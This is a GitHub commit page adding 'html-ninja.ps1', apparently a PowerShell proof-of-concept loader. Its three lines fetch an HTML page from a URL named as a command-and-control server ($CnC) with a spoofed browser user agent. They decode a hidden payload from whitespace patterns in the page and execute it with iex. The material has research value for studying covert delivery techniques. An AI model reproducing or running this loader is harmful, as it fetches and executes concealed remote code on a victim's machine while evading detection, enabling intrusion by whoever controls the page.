Skip to content

Commit 61b93b4

Browse files
authored
Create html-ninja.ps1
Powershell POC
1 parent 2957a65 commit 61b93b4

File tree

1 file changed

+3
-0
lines changed

1 file changed

+3
-0
lines changed

html-ninja.ps1

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
$CnC = "https://raw.githubusercontent.com/ephreet/html-ninja/master/macro_poc.htm"; $pch = "nil"; $b = ""; $ch = ""
2+
foreach ($cu in (Invoke-WebRequest $CnC -UserAgent "Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0").ToString().tocharArray()) {$ch = $cu;if ($pch -eq " "){if ($ch -eq " "){$b = $b + "1"; $ch = "nil"}else{$b = $b + "0";$ch = "nil"}};$pch = $ch}$c = ""
3+
($b -split '(\w{8})' | ? {$_}) | ForEach-Object {$c = $c + [convert]::Tochar([System.Convert]::ToByte($_,2))};iex $c

0 commit comments

Comments
 (0)